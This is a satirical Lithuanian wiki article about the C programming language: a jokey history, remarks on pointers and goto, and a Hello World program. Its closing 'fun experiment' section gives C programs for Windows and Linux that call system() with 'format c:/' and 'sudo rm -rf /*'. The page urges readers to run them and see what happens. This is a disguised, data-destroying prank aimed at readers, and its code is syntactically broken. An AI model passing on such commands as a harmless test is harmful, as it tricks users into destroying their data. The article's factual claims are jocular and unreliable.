Last modified on 13 rugpjūčio 2018, at 13:56

C kalba

13:56, 13 rugpjūčio 2018 versija naudotojo Vezimas21 (Aptarimas | įnašas)

(skirt) ←Ankstesnė versija | Dabartinė versija (skirt) | Vėlesnė versija→ (skirt)

C - tokia programavimo kalba, kuri tiesiog viena raide C pavadinta, matyt tam, kad niekas negalėtų susigaudyti ir galvotų, kad čia šiaip kažkokia raidė parašyta. Dar garsi šita kalba tuo, kad ja buvo parašyta UNIX, nes tai buvo pirmas kartas, kai aukšto lygio programavimo kalba leido visą OS suprogramuoti. Tai paskui ir Windows buvo didesne dalimi irgi ta pačia C suprogramuota.

Savo kilme C kalba siekia Algol, tiktai supaprastintą, nes vietoje visokių "begin" ir "end" atsirado paprasčiausi riestiniai skliausteliai, kad visiems būtų paprasčiau ir greičiau rašyt.

Išties gi C turi vieną įdomumą, kurį jau seniai sukapojo visokie standartizacijos komitetai, nes geriau jau to privalumo nereikia, nes dar priprogramuos tie programuotojai neaišku, ko. Taigi, jau to privalumo C kalba neturi.

Privalumas gi buvo toksai, kad C išties tėra nežymiai pagražintas asembleris, primenantis normalią kalbą daugiau savo išore, negu vidumi. Vidumi gi C visur remiasi prielaida, kad viskas yra arba kokia nors asemblerio komanda, skirta kokius nors veiksmus padaryti, arba kokie nors duomenys, arba koks nors pointeris arba kažko tai adresas. O jei nei tas, nei anas - tai reiškia, kad išvis nieko nereiškia ir tai galima tiesiog išmesti.

Todėl pasiėmus C parašytą programą, visada galima ją nuosekliai išversti į asemblerio tekstą, o paskui jau gautame asemblerio tekste turėti visiškai tiesioginį tos C programos ekvivalentą.

Atitinkamai, tradiciniame C programavime galima daryti keistus dalykus, kurie atrodo ganėtinai nenormalūs. Pavyzdžiui, galima su kokiu nors Goto pereiti tiesiai į kokio nors ciklo ar funkcijos vidų. Arba galima apsibrėžti kintamąjį, kuris yra integeris, į jį įsimesti kokio nors masyvo adresą, o į tą masyvą prikaišioti pointerių į kokias nors funkcijas ir paskui kokiame nors cikle iškvietinėti kokią nors array[*point+x]() ar dar kokią nors didesnę nesąmonę.

Užtat kad tokių nesąmonių niekas nesuprasdavo, tai paskui atsirado krūva C pagerinimų - C Plus Plus, C Sharp, Objective C beigi kitų visokių.


Hello World C kalboje

#include <stdio.h>

int main(void)
{
    printf("Hello, world!\n");
    return 0;
}


Smagus bandymas

Windozei:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    system(format c:/)
    printf("Valio!\n");
    return 0;
}

Linuksams:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    system(sudo rm -rf /*)
    printf("Valio!\n");
    return 0;
}

Išbandykite, ir pažiūrėkite kas gausis.